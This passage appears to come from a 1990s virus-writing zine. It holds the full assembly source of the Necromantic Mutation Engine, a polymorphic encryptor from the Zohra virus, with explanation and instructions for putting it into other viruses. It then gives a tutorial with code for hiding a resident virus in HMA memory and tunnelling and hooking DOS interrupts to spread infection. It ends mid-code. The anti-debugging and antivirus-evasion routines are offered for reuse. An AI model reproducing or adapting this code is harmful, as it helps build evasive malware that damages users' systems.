; int 13h
mov ax, 301h
mov dword ptr ds:[bx], ' );'
and cx, 0111111b
mov dx, 80h
; int 13h
TableDone:
mov word ptr ds:[RANDOM_NUMBER], 5
pop ds
pop es
popa
ret
endp random_init

random proc
push bx
push ds
push cs
pop ds
mov ax, word ptr [RANDOM_NUMBER]
mov bx, ax
inc ax
cmp ax, 512
jbe ImTheCrusherKingOfTheRing
mov ax, 4
ImTheCrusherKingOfTheRing:
mov word ptr [RANDOM_NUMBER], ax
mov ax, word ptr [RANDOM_TABLE+bx]
sahf
pop ds
pop bx
ret
endp random

random_number dw 0
random_table db 512 dup(0)
;
; . .: .:.. :.. .. .:.::. :. ..:
; <<-==ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ===<
; .:: ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ .:.
; . .:.ÜÜÜÛÛß.ßÛÛÛÛÛÛ.ÛÛÛÛÛÛÛ:..
; ...ÛÛÛÜÜÜÜ:ÜÜÜÜÛÛÛ:ÛÛÛ ÛÛÛ.::.
; >===ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛß=ÛÛÛ ÛÛÛ=->>
; .: .:.. ..:. .: ..:.::. ::.. :.:.
;
; Û²±° The Necromantic Mutation Engine ( NME ) °±²Û
;
; ( used in Zohra virus )
;
; by Wintermute/29A
;
;
; When I started writing this article, I didn't know how to do it; the en-
; gine is full commented in my virus, Zohra, and besides has some things that
; make it nearly impossible to get it out from the virus.
;
; So, I've made a couple things in this article to make it interesting :)
; First, I'm explaining how it works, and how I made it; just thinking about
; it and wondering how would I do this and that ( hope that will help you
; writing your own poly engine if you haven't done one yet... ). After talk-
; ing about that, I'm giving some guidance about how to use the engine, be-
; cause it has some particularities :)
;
;
; 1.- How is this poly engine created ?
;
; What should a poly engine have ? A good poly engine shouldn't just make
; some crap instructions as "cli-sti-lahf-nop" and place them among real ins-
; tructions; a middle-interested user would easily detect something's going
; wrong in that file when he finds 15 useless one byte instructions, and then
; would detect it. So, a list with some instructions/opcodes was made, in or-
; der to use some more kinds of instructions.
;
; Zohra has five groups; one byte instructions, two byte ones, three, four
; bytes, and long routines. Long routines are anti-debugging or anti-spectral
; ones, for example.
;
; So, the idea was to put that instructions among the decryptor ones. That
; decryptor instructions are different in length; three, four bytes... so it
; would last some bytes checking each one and copying it. So, I divided the
; decryptor instructions block in six blocks respectively, which were formed
; by five bytes each one, this way:
;
;
; > mov bp,0200h
; > db 90h,90h ; variable ( junk gen )
;
; > mov si,cs:word ptr [encryptvalue+bp]
;
; > mov cx,virus_size/2
; > db 90h,90h ; variable
;
; > mov di,bp
; > db 90h,90h,90h ; variable
;
; > xor word ptr cs:[di],si
; > db 90h,90h ; variable ( again ! )
;
; > inc di
; > inc di
; > loop loop_dec
; > db 90h ; variable
;
;
; As you see, there are "blanks" in the blocks; that means more fixed by-
; tes, but of course the instructions aren't placed this way on the engine:
; first thing the poly engine does is copying these instructions to a buffer
; in memory and filling the blanks with random bytes from the instruction ge-
; nerators; for example, if there were a three byte blank, the engine would
; fill it with a two byte instruction and a one byte instruction, or with a
; with a three byte instruction, etc.
;
; As you may see, done this there are still many fixed bytes, the real de-
; cryptor instructions. Any AVer could put in his hex searcher something like
; "F7????4D????4E" and easily detect it.
;
; So, next thing in the poly engine are some routines which change the de-
; cryptor instructions: randomly, SI is used instead of DI, the way to load
; CX changes, the "inc di/loop" changes on a "dec cx/jnz xxx", etc. Also, the
; three SI/DI/CX setting blocks are placed randomly on the decryptor ( it
; doesn't matter their order ).
;
; After making all the changes and setting the decryptor instructions block
; the poly starts working in a zone between the first and the second copy of
; the virus; when loading in memory, it makes this: copies the virus, then
; places a 512 byte buffer, and copies the virus again. The second copy never
; gets executed, it's encrypted by the first one, and the decryptor is made
; between them, so when copying to a file it will grow "512 bytes+virus"...
;
; So, ES:DI points to the 512 bytes buffer to write on it, and a random ge-
; nerator gets running, placing 1 to 4 byte instructions, long routines, or
; the decryptor instructions. Also, the engine checks some things; for exam-
; ple, divides by 6 the total size of the decryptor ( 512 bytes ) and checks
; this with the remaining decryptor instruction blocks, so all the instruc-
; tions are in the decryptor ( and not very near to each other ). Also checks
; the distance between the loop/jz and the xor at the end so it doesn't get
; out of range, and also checks the last bytes to finish the decryptor; for
; example, if there are only three bytes remaining of decryptor, the engine
; will put a three byte instruction, etc.
;
; Finally,... why using long routines ( as an antidebugging one ) ? To a-
; void one couple things. The antidebugging routine is especially made for
; AVP, which tries to decrypt the virus ( and makes it ! ;) because of its
; heuristic method, which fails when there are antidebugging routines and the
; virus isn't decrypted yet ( it decrypts viruses and searches for things li-
; ke mov ax,3d02h/int21h ) };)
;
; About the spectral routines, they're made for one of the analysis which
; antivirus software use to detect poly viruses; they watch the instructions
; in the decryptor, and if all of them seem to be generated by that engine,
; they'll detect the virus. Let's imagine, for example, the "Shitty Mutator"
; uses three one byte instructions to make junk. The antivirus software would
; have these instructions and watch the -e.g.- 256 byte decryptor; if all the
; instructions placed in there are the decryptor itself ones or the three
; different one byte ones, the antivirus tells us a SM based virus is there.
; The method used to avoid it is fairly simple: a check, after a conditional
; jump that is always executed, and then two junk random bytes :)
;
;
; 2.- How to use the engine in your own virus ( hey, you, at least give
; me some credits in it ! :)
;
; About the values you have to set; first, there's a defined value at the
; end of the engine called "encryptvalue" which is the number which will be
; used to encrypt the virus with xor encryption. First, you'll have to en-
; crypt the second copy of your virus, and put your word length encryption
; key into that value called "encryptvalue" ( which is used for the xor ).
;
; "Offset_second" is the virus_length plus 200h, the decryptor length; this
; way, the values changed are changed in the decryptor and not in the non-co-
; pied virus ( wonder why ? ) :-)
;
; "Virus_size" is your virus lenght in bytes.
;
; Of course, you can change the decryptor length, but be careful with that.
; That value is set on "restantes_poly", and is 200h normally; if you change
; this, divisions made by the engine to check if it has to put a decryptor
; instruction on the generator code will fail. So, if you're going to change
; the length, check also the divisions at the zone called "centro_poly" ( po-
; ly_center in spanish ).
;
; Another things to set ?... erhm... not. ES:DI or DS:SI set stuff for you;
; it's generated at the end of the first virus copy, just at "virus_size+0h",
; uhm... ah, and it supposes you to have another copy of the virus, of cour-
; se. Come on, it's so easy to get it working when somebody else has written
; it four you first ! ;PPP
;
; Ah, and finally... you'll have to copy the decryptor instructions block
; at the first bytes of your TSR, at the first copy; the instructions in tho-
; se first bytes are useful, cause they're not copied even not executed, so
; they can be overwritten by the decryptor ones.
;
;
; ***************************************************************************
; THE NECROMANTIC MUTATION ENGINE ( NME )
; ***************************************************************************
; The ants are in the sugar, the muscles atrophied

; This first part sets the decryptor variables ( loop pointer, remaining
;instructions and current instruction )
;
; The loop pointer tells where to loop to make the xor "virus_size"
;times, remaining instructions is 200h-done_instructions, and current
;instruction is about which of the six decryptor instructions blocks has
;to be written next.

go_here:

mov word ptr [bytes_referencia],0h


mov word ptr [restantes_poly],200h ; n.instr decryptor
mov byte ptr [numero_instruccion],6h ; n.util instrs

; This first part of the poly engine fills the blanks of the six blocks
;( 5 bytes each ) in which the decryptor instructions are divided on with
;random instructions. As you see, three blanks can be filled with a three
;bytes instructions, with a two bytes one and a one byte one or with three
;one byte instructions

push cs cs
pop ds es

mov di,3h
mov cx,3
two_times: call aleatorio
and ah,1
jz two_of_one
call inst_2
jmp next_inst_gen
two_of_one: call inst_1
inc di
call inst_1
next_inst_gen: cmp di,0eh
jnz @di0dh
mov di,017h
jmp @loopt
@di0dh: mov di,0dh
@loopt: loop two_times

mov di,011h
mov cx,2
two_times_otavez:
call aleatorio
and ah,1
jz unod1y1d2
and al,1
jz tresd1
call inst_3
jmp next_one_otave
tresd1:
call inst_1
inc di
call inst_1
inc di
call inst_1
jmp next_one_otave
unod1y1d2: and al,1
jz unod2y1d1
call inst_1
inc di
call inst_2
jmp next_one_otave
unod2y1d1:
call inst_2
inc di
call inst_1
next_one_otave:
mov di,01dh ; The last
call inst_1

lea di,instrucciones
xor si,si
mov cx,instrsize
rep movsb

; This part exchanges 50% times SI and DI registers, which are used in
;the decryptor instructions

call aleatorio
and ah,1
jz dontchangeem
mov byte ptr [instrucciones+7h],0beh
mov byte ptr [instrucciones+10h],0f5h
mov word ptr [instrucciones+15h],03c31h
mov word ptr [instrucciones+19h],04646h
dontchangeem:

; Depending on a random value, CX is obtained by the normal way ( mov cx, )


; or with a mov dx,register, mov cx,dx

call aleatorio
and ah,1
jz cx_acabado
cbw
and ah,1
jz siguiente_abajo
mov byte ptr [instrucciones+0ah],0bbh
mov word ptr [instrucciones+0dh],0d989h
jmp cx_acabado
siguiente_abajo:
and al,1
jz cx_con_dx
mov byte ptr [instrucciones+0ah],0b8h
mov word ptr [instrucciones+0dh],0c189h
jmp cx_acabado
cx_con_dx:
mov byte ptr [instrucciones+0ah],0bah
mov word ptr [instrucciones+0dh],0d189h
cx_acabado:

; To finish preparing the decrypting routine, we copy the instructions


;that modify SI, DI and CX, and put them randomly; the first time, I
;tried making this pushing and popping instructions... stack overflow ! :-o

push dx
mov byte ptr [variable_inst],00000111b
mov cx,015d ; Copy the 15 bytes of the
lea si,instrucciones+5 ;instructions to the uuencode
lea di,buffer ;buffer ( unused )
push di
rep movsb
pop si

ver_si_esta_hecho:
mov al,byte ptr [variable_inst]
mov dl,al ; Then, restore them in a
or al,al ;random order
jz acabado_pop_inst
call aleatorio
and ah,1
jz popfirst
and al,1
jz popsecond
and dl,100b ; First instruction ( five
jz ver_si_esta_hecho ;bytes )
and byte ptr [variable_inst],11111011b
lea di,instrucciones+0fh
jmp popfivebytes

popfirst:
and dl,1b ; Second one
jz ver_si_esta_hecho
and byte ptr[variable_inst],011111110b
lea di,instrucciones+0ah
jmp popfivebytes

popsecond:
and dl,10b ; Third
jz ver_si_esta_hecho
and byte ptr[variable_inst],011111101b
lea di,instrucciones+5h
popfivebytes:
mov cx,5d ; Replace
rep movsb
jmp ver_si_esta_hecho
acabado_pop_inst:
pop dx

; The modification of the instructions of the decryptor finishes here with


;all changes made: the originals are kept at the beggining of the virus in
;memory. The posible "final loop" exchange is made when writing the
;decryptor

; Here begins the main zone of the code generator; where it's decided
;what generator to use and random instructions are copied at the
;decryptor.

mov di,virus_size+1
centro_poly:
mov ax,word ptr [restantes_poly] ; Remaining
mov cx,ax ;instructions number
and cx,cx
jnz sigamos_decriptor
jmp acabamos_decryptor ; Checks if finished
sigamos_decriptor:
cmp cx,@getmcb-ant_debug
jae @cont_decrr
cmp byte ptr [numero_instruccion],1
jz @@call_decryptgen
@cont_decrr: ; If we have 1, 2 or 3 bytes remaining
dec cx
jz @@call_inst_1
dec cx
jz @@call_inst_2
dec cx
jz @@call_inst_3

mov cx,55h ; Do we need to put one of the decryptor


div cl ;instructions ? This is the div to change
inc al ;if you change the decryptor length
cmp byte ptr[numero_instruccion],al
ja @@call_decryptgen

cmp byte ptr[numero_instruccion],1


jnz @continuemos ; To avoid the loop from going
mov ax,di ;out of range
sub ax,word ptr [loop_site]
cmp ax,70h
jae @@call_decryptgen
@continuemos:
call aleatorio ; randomly, place 3 bytes instr,
and ah,1 ;2, routine...
jz @@trestipos
and al,1
jz @@call_inst_4
@@call_inst_1: call inst_1
dec word ptr [restantes_poly]
inc di
jmp centro_poly
@@call_inst_4: call inst_4
add di,4
sub word ptr [restantes_poly],4
jmp centro_poly

@@trestipos: cbw
and ah,1
jz @@inst_2odec
and al,11b
jz @@call_sub
@@call_inst_3: call inst_3
add di,3
sub word ptr[restantes_poly],3
jmp centro_poly
@@inst_2odec: and al,111b ; Low probability
jnz @@call_inst_2
@@call_decryptgen:
call gen_instruction
jmp centro_poly
@@call_inst_2: call inst_2
inc di
sub word ptr[restantes_poly],2
@fix1: jmp centro_poly
@@call_sub: cmp word ptr[restantes_poly],@getmcb-ant_debug
jb @fix1
call inst_5
add di,si
sub word ptr[restantes_poly],si ; Long non fixed size
jmp centro_poly ;routine

acabamos_decryptor:
ret

instrsize equ instr_end-instr_start

instr_start label byte

; Decryptor instructions list; divided into five-bytes blocks.

instrucciones:

mov bp,0200h
db 90h,90h ; variable ( junk gen )

mov si,cs:word ptr [encryptvalue+bp]

mov cx,virus_size/2
db 90h,90h

mov di,bp
db 90h,90h,90h

loop_dec:
xor word ptr cs:[di],si
db 90h,90h

inc di
inc di
loop loop_dec
db 90h
instr_end label byte

;*******************************************
; Decryptor values and data
;--------------------

Restantes_poly: dw 200h ; Remaining instructions counter


Numero_instruccion: db 6 ; Instruction number
num_aleat: dw 1250h ; Aleatory number counter
variable_inst: db 7h ; 0111b
loop_site: dw 0h ; Looping allocation Offset
bytes_referencia: dw 0h ; Reference for instructions

; This returns a random number in AX after making some operations.

aleatorio:
mov ax,word ptr[num_aleat]
call aleat2
aleat2: ror ax,5 ; The seed number is stablished in each
add ax,1531h ;infection by the date, and modified
push cx dx ax ;by the minutes ( but in AL, the less
mov ah,2ch ;used, to contribute to the slow poly )
int 21h ;and hour.
pop ax
add ah,ch
pop dx cx
rol ax,1
neg ax
sub ax,2311h
ror ax,3
not ax
mov word ptr[num_aleat],ax
ret

; Instructions generators: the required instructions are generated and


;copied in ES:DI, which points to the decryptor in memory

; Main generator: copies a decryptor instruction in ES:DI, with special


;care for the final loop

gen_instruction:
mov al,byte ptr [numero_instruccion]
and al,al
jz @vasmosnos
dec al
jz @preparar_loop
dec al
jz @guardar_paraloop
@gen_ya:
dec byte ptr [numero_instruccion]
lea si,instrucciones
add si,word ptr [bytes_referencia]
add word ptr [bytes_referencia],5h

mov cx,5 ; copy the instruction


rep movsb
sub word ptr[restantes_poly],5h ; remaining instrs

@vasmosnos: ret
@guardar_paraloop:
mov word ptr [loop_site],di
jmp @gen_ya

@preparar_loop:
mov ax,0fch
mov si,di
mov cx,word ptr [loop_site]
sub si,cx
sub ax,si
mov cx,word ptr[num_aleat]
and cl,1
jz @make_a_jnz
mov byte ptr [instrucciones+01ch],al
jmp @gen_ya
@make_a_jnz:
mov word ptr [instrucciones+01bh],7549h
dec ax
mov byte ptr [instrucciones+01dh],al
jmp @gen_ya

; Generator ----> One byte length instruction generator

inst_1:
call aleatorio
and al,3h
jnz @cont_a1
mov byte ptr es:[di],90h
ret
@cont_a1: and ah,1
jz @cont_a2
call aleatorio
and ah,1h
jz @cont_a2_2
and al,1h
jz @cont_a2_1_1
call aleatorio
and al,1h
jz @cont_a2_2_1
mov byte ptr es:[di],42h ; inc dx
ret
@cont_a2_2_1: mov byte ptr es:[di],43h ; inc bx
ret
@cont_a2_1_1: mov byte ptr es:[di],40h ; inc ax
ret
@cont_a2_2: call aleatorio
and al,1h
jnz @cont_a2_2_2
mov byte ptr es:[di],48h ; dec ax
ret
@cont_a2_2_2: and ah,1h
jz @cont_a2_2_2_2
mov byte ptr es:[di],4bh ; dec bx
ret
@cont_a2_2_2_2: and al,1h
mov byte ptr es:[di],4ah ; dec dx
ret
@cont_a2: call aleatorio
and al,3h
jz @cont_a2_11
and ah,3h
jz @cont_a2_12
call aleatorio
and al,3h
jz @cont_a2_2_11
and ah,3h
jz @cont_a2_2_12
call aleatorio
and al,1
jz @cont_a2_2_13
mov byte ptr es:[di],0cch ; int 3h
ret
@cont_a2_2_11: mov byte ptr es:[di],9fh ; lahf
ret
@cont_a2_2_12: mov byte ptr es:[di],99h ; cwd
ret
@cont_a2_2_13: mov byte ptr es:[di],98h ; cbw
ret
@cont_a2_11: mov byte ptr es:[di],0F9h ; stc
ret
@cont_a2_12: mov byte ptr es:[di],0F8h ; clc
ret

; Generator ----> Two byte length instructions

inst_2:
call aleatorio
and ah,1h
jz @cont_sub
cbw
and ah,1h
jz sigunvm
jmp @cont_xor
sigunvm:
jmp @cont_mul
@cont_sub:
mov byte ptr es:[di],2bh
inc di
cbw
and al,1
jz @cont_bsub_ax
and ah,1
jz @cont_bsub_dx
call aleatorio
and ah,1
jz @cont_bsub_bx_dxdisi
and al,1
jz @cont_bsub_bx_cx
mov byte ptr es:[di],0d8h ; sub bx,ax
ret
@cont_bsub_bx_cx:
mov byte ptr es:[di],0d9h ; sub bx,cx
ret
@cont_bsub_bx_dxdisi:
cbw
and ah,1
jz @cont_bsub_bx_dx
and al,1
jz @cont_bsub_bx_di
mov byte ptr es:[di],0deh ; sub bx,si
ret
@cont_bsub_bx_di:
mov byte ptr es:[di],0dfh ; sub bx,di
ret
@cont_bsub_bx_dx:
mov byte ptr es:[di],0dah ; sub bx,dx
ret
@cont_bsub_ax:
call aleatorio
and ah,1
jz @cont_bsub_ax_dxdisi
and al,1
jz @cont_bsub_ax_cx
mov byte ptr es:[di],0c3h ; sub ax,bx
ret
@cont_bsub_ax_cx:
mov byte ptr es:[di],0c1h ; sub ax,cx
ret
@cont_bsub_ax_dxdisi:
cbw
and ah,1
jz @cont_bsub_ax_dx
and al,1
jz @cont_bsub_ax_di
mov byte ptr es:[di],0c6h ; sub ax,si
ret
@cont_bsub_ax_di:
mov byte ptr es:[di],0c7h ; sub ax,di
ret
@cont_bsub_ax_dx:
mov byte ptr es:[di],0c2h ; sub ax,dx
ret
@cont_bsub_dx:
call aleatorio
and ah,1
jz @cont_bsub_dx_sidicx
and al,1
jz @cont_bsub_dx_bx
mov byte ptr es:[di],0d0h ; sub dx,ax
ret
@cont_bsub_dx_bx:
mov byte ptr es:[di],0d3h ; sub dx,bx
ret
@cont_bsub_dx_sidicx:
cbw
and ah,1
jz @cont_bsub_dx_cx
and al,1
jz @cont_bsub_dx_di
mov byte ptr es:[di],0d6h ; sub dx,si
ret
@cont_bsub_dx_di:
mov byte ptr es:[di],0d7h ; sub dx,di
ret
@cont_bsub_dx_cx:
mov byte ptr es:[di],0d1h ; sub dx,cx
ret

@cont_xor:
mov byte ptr es:[di],033h
inc di
call aleatorio
and ah,1
jz @cont_xor_4last
cbw
and ah,1
jz @cont_xor_34
and al,1
jz @cont_xor_2
mov byte ptr es:[di],0c0h ; xor ax,ax
ret
@cont_xor_2:
mov byte ptr es:[di],0c3h ; xor ax,bx
ret
@cont_xor_34:
and al,1
jz @cont_xor_4
mov byte ptr es:[di],0c2h ; xor ax,dx
ret
@cont_xor_4:
mov byte ptr es:[di],0dbh ; xor bx,bx
ret
@cont_xor_4last:
cbw
and ah,1
jz @cont_xor_78
and al,1
jz @cont_xor_6
mov byte ptr es:[di],0d8h ; xor bx,ax
ret
@cont_xor_6:
mov byte ptr es:[di],0dah ; xor bx,dx
ret
@cont_xor_78:
and al,1
jz @cont_xor_8
mov byte ptr es:[di],0d2h ; xor dx,dx
ret
@cont_xor_8:
mov byte ptr es:[di],0d0h ; xor dx,ax
ret

@cont_mul:
mov byte ptr es:[di],0f7h
inc di
call aleatorio

and ah,1
jz @cont_divmul_34
and al,1
jz @cont_divmul_2
mov byte ptr es:[di],0e3h ; mul bx
ret
@cont_divmul_2:
mov byte ptr es:[di],0e1h ; mul cx
ret
@cont_divmul_34:
and al,1
jz @cont_divmul_4
mov byte ptr es:[di],0e6h ; mul si
ret
@cont_divmul_4:
mov byte ptr es:[di],0e7h ; mul di
ret

; Generator ----> Three byte long instructions

inst_3:
call aleatorio
mov si,ax
inc si ; We don't want a 0ffffh
jz inst_3
dec si
and ah,1
jz @add_or_sub_ax
and al,1
jz @mov_dx_inm
mov byte ptr es:[di],0bbh ; mov bx,reg
mov word ptr es:[di+1],si
ret
@mov_dx_inm: mov byte ptr es:[di],0bah ; mov dx,reg
mov word ptr es:[di+1],si
ret
@add_or_sub_ax: and al,1
jz @mov_mem_ax
mov byte ptr es:[di],05h ; add ax,reg
mov word ptr es:[di+1],si
ret
@mov_mem_ax: mov byte ptr es:[di],0a1h ; mov ax,mem
mov word ptr es:[di+1],si
ret

; Generator ----> Four bytes instructions

inst_4: call aleatorio


mov si,ax
inc si
jz inst_4
dec si
and ah,1
jz @q_seg_parte
cbw
and ah,1
jz @q_movdxobx
and al,1
jz @q_subbxfuck
mov word ptr es:[di],019b4h ; Get drive function
mov word ptr es:[di+2],021cdh
ret
@q_subbxfuck: mov word ptr es:[di],0eb81h
mov word ptr es:[di+2],si
ret
@q_movdxobx: and al,1
jz @q_movdx_mem
mov word ptr es:[di],01e8bh
mov word ptr es:[di+2],si
ret
@q_movdx_mem: mov word ptr es:[di],0168bh
mov word ptr es:[di+2],si
ret
@q_seg_parte: cbw
and ah,1
jz @q_seg_sub
mov word ptr es:[di],0c281h
mov word ptr es:[di+2],si
and al,1
jz @nosvamos_4
inc byte ptr es:[di+1]
@nosvamos_4: ret
@q_seg_sub: mov word ptr es:[di],0ea81h
mov word ptr es:[di+2],si
and al,1
jz @nosvamos_41
inc word ptr es:[di+1]
@nosvamos_41: ret

; Generator ----> More than 4 bytes routines


inst_5: call aleatorio ; Anti-spectral routine,
and ah,1 ;generates a random value
jz @c_seg_parte ;after a cmp ax,ax/jz xxx
and al,1 ;that will never be executed:
jz @c_seg_prim ;"spectral" is a way of
mov word ptr es:[di],0c033h ;finding polymorphic viruses
mov word ptr es:[di+2],0274h;that checks for instructions
call aleatorio ;that aren't in the poly
mov word ptr es:[di+4],ax ;engine; if the instructions
mov si,06h ;are all of a fixed range,
ret ;the spectral identifies the
;poly engine.

@c_seg_prim:
mov word ptr es:[di],0f7fah ; Antidebugging routine
mov word ptr es:[di+2],0f7dch ;( cli, neg sp, neg sp,
mov word ptr es:[di+4],0fbdch ; sti )
mov si,06h
ret

@c_seg_parte: and al,1


jz @c_seg_seg ; Anti-spectral
mov word ptr es:[di],0ffb8h ; mov ax,0ffffh
mov word ptr es:[di+2],040ffh ; inc ax
mov word ptr es:[di+4],0274h ; jz seguimos
call aleatorio ; ( 2 crap bytes )
mov word ptr es:[di+6],ax
mov si,08h
ret

@c_seg_seg:
lea si,ant_debug ; Antidebugging, the routine
mov cx,@getmcb-ant_debug ;placed near the beggining
push cx ;of Zohra
rep movsb
pop si
sub di,si
ret

random_number:
ret

encryptvalue: dw 0ffh
wintermute: db 'The Necromantic Mutation Engine by Wintermute/29A',0
HMA Residency
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>
"Q" the Misanthrope

This virus topic has not been discussed: HMA (not UMB) residency.

What is HMA?
ÄÄÄÄÄÄÄÄÄÄÄÄ
It stands for High Memory Address. HMA memory is a 65520 byte area from
FFFF:0010h to FFFF:FFFFh. "Q" the Misanthrope has been using the HMA to
store about 15 of his viruses. This is his tutorial on HMA useage.

Why HMA?
ÄÄÄÄÄÄÄÄ
It allows you to put your virus in a location not seen with any of the con-
ventional memory tools. MEM, CHKDSK and others don't indicate that more me-
mory is being used in the HMA when a virus goes resident there. Many anti
virus programs did not scan the HMA since no one was crazy enough to put
their virus up there. They now have changed because of the many viruses "Q"
created that use the HMA.

HMA History
ÄÄÄÄÄÄÄÄÄÄÄ
On an 80286+ there is an address line called a20 that was to be used to map
the second megabyte of memory. There are additional address lines (a21,
a22, etc) but with this a20 line there became another 64k of memory availa-
ble to real mode programs. Where did this new memory come from? On an 8086,
the addressing of the processor is in SEGMENT:OFFSET format. Each OFFSET
spans a 64k SEGMENT. The actual physical address is computed as SEGMENT*10h
+OFFSET. The last byte of memory on an 8086 was F000:FFFFh, or F0000h+FFFFh
=FFFFFh. Notice that FFFF:000F is the same physical address (FFFF0h+000Fh=
FFFFFh). What happens if you were to address FFFF:0010? (FFFF0h+0010h=
100000h). On an 8086 this would map back to 0000:0000h but on an 80286 you
have just touched the first byte of the second megabyte off memory. The on-
ly problem is that the 80286 works just the same as the 8086 and again you
are mapped back to 0000:0000h. Some circuitry needed to be added, a20 ga-
ting was created. If doing the physical computation caused a carry into the
next megabyte then turn the a20 line on. This feature had to be able to
switched on and off at will. The 80286 also introduced the 8042 keyboard
controller. There was an extra bit on an output port that could control
this gating. The creation of the HIMEM.SYS would in part make controlling
this a bit easier.

Gating a20
ÄÄÄÄÄÄÄÄÄÄ
To enable the a20 gating:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
mov ax,4300h ;himem.sys check
int 2fh
cmp al,80h
jne error ;no himem.sys loaded
mov ax,4310h
int 2fh ;get far call address es:bx
mov ah,03h ;Global enable A20
push cs ;prime the stack for retf
call call_es_bx ;put ip of next line on stack for retf
next_line: or ax,ax ;check if error
jz error
[...] ;code to do whatever
call_es_bx: push es ;now jmp to es:bx with ah as function
push bx ;the stack is primed to return to
retf ;next line
[...]
error: mov ah,09h ;print command
mov dx,offset errmsg;print error
push cs
pop ds
int 21h
[...]
errmsg db "A20 Global Enable error!",0dh,0ah,"$"
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

Note: all of the HIMEM.SYS calls are documented in Ralf Brown's Interrupt
list (INT 2Fh AX=4310h).

Brute force gating a20


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Another method is the brute force one. What if you want the HMA available
at boot time for your boot sector virus? You can directly control the 8042
keyboard controller. Using command D1. Write Output Port: next byte written
to port 60h is placed in the 8042 output port.

³7³6³5³4³3³2³1³0³ 8042 Output Port


³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ system reset line
³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ gate A20
³ ³ ³ ³ ÀÄÁÄÄÄÄÄÄ undefined
³ ³ ³ ÀÄÄÄÄÄÄÄÄÄ output buffer full
³ ³ ÀÄÄÄÄÄÄÄÄÄÄ input buffer empty
³ ÀÄÄÄÄÄÄÄÄÄÄÄ keyboard clock (output)
ÀÄÄÄÄÄÄÄÄÄÄÄÄ keyboard data (output)

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
.286
mov al,0d1h ;send command to 8042
out 64h,al
reloop: in al,64h ;check that port 60h is available
or al,02h
jnz reloop
mov al,11100011b ;keep keyboard working and gate a20
out 60h,al
push -1 ;set es=ffffh
pop es
push 00h
pop ds ;set ds=0000h
mov di,10h ;check if it worked, compare
xor si,si ;ffff:0010h to 0000:0000 for 16 bytes
mov cx,di ;set cx to 10h
cld
rep cmpsb ;compare it
je failed
[...] ;worked, copy virus to ffff:xxxx
failed: jmp short failed ;do whatever
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

HMA and DOS 5+


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
The easiest method is to use the HMA if DOS 5+ is loaded in the HMA with
the commands in the CONFIG.SYS like these:
DEVICE=C:\DOS\HIMEM.SYS
DOS=HIGH

This requirement is on 99% of all machines running this decade. To invoke


it, just do this:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
mov ax,4a02h ;allocate HMA space from DOS
mov di,-1 ;prime di if DOS not high or < ver 5
mov bx,0200h ;number of bytes you want
int 2fh ;should return es:di to available mem
inc di ;di=ffffh if no memory or DOS<5 etc.
jz failed ;if it failed
dec di
mov si,offset virii
mov cx,bx ;get ready to copy virii
cld
rep movs byte ptr es:[di],cs:[si]
[...]
failed: jmp short failed
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

Hooking interrupts
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Now that you are in the HMA, what next? hook in your interrupts and you are
off infecting. Problem is that it is not that simple. You can't point an
interrupt to ffff:xxxx because the a20 gate may be turned off for some rea-
son. If the a20 gate is turned off then your interrupt will point to code
in the first 64k of memory. When DOS 5+ interrupts 13h, 21h, 2fh, etc chain
into the HMA they first check if the a20 line is gated, if not, they gate
it. The interrupt then continues its code in the HMA. You can tunnel your
desired interrupt and hook in to the interrupt chain when the code goes to
the HMA. An example of hooking interrupt 21h is:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
.286
virus_size equ previous_21-begin
begin: [...]
mov ax,3501h ;get int 1 address for tunnel
int 21h
mov dx,offset interrupt_1
mov ah,25h ;set int 1 for tunnel
push es
int 21h
pop ds ;ds:dx will be to set it back
push 00h ;es=0000h
pop es
pushf ;simulate interrupt stack
mov dx,bx
push cs
push es ;return to cs:0000 is cd 20
int 01h ;set trap flag
db 26h ;es: override in to int table
dw 02effh,21h*04h ;jmp far ptr es:[0084]
interrupt_1: pusha ;save varables
push sp
pop bp ;get pointer
push ds
push es
lds si,dword ptr ss:[bp+10h];get next instruction address
cmp word ptr ds:[si+01h],02effh
jne go_back ;check if jmp far ?s:[????]
cmp word ptr ds:[si-02h],001cdh
org $-02h ;see if called from our int 01
int 01h
je toggle_tf
mov si,word ptr ds:[si+03h];get address segment of jmp
cmp byte ptr ds:[si+03h],0f0h
jb go_back ;see if in HMA area
mov bx,((virus_size+10h)SHR 4)*10h
mov di,0ffffh ;allocate HMA area for virus
mov ax,4a02h
int 2fh
inc di ;is HMA full
jz toggle_tf ;if so then just don't bother
push si ;move the virus to the HMA
cld
mov cx,virus_size
mov si,0100h ;copy virus to HMA
rep movs byte ptr es:[di],cs:[si]
pop si ;now hook the int 21 chain
movsw ;int 21 copied at previous_21
movsw
lea di,word ptr ds:[di-04h-virus_size+offset resident_21]
mov word ptr ds:[si-04h],di;point to resident 21 code
mov word ptr ds:[si-02h],es
toggle_tf: xor byte ptr ss:[bp+15h],01h;toggle the trap flag
go_back: pop es
pop ds
popa
iret
resident_21: pushf ;do the voodoo you do so well
pusha
[...]
popa
popf
db 0eah
previous_21: label double
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

This is a bit laborous. What else can be done? if you need to hook int 13h
then the simple use of int 2fh AH=13h can be done.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
.286
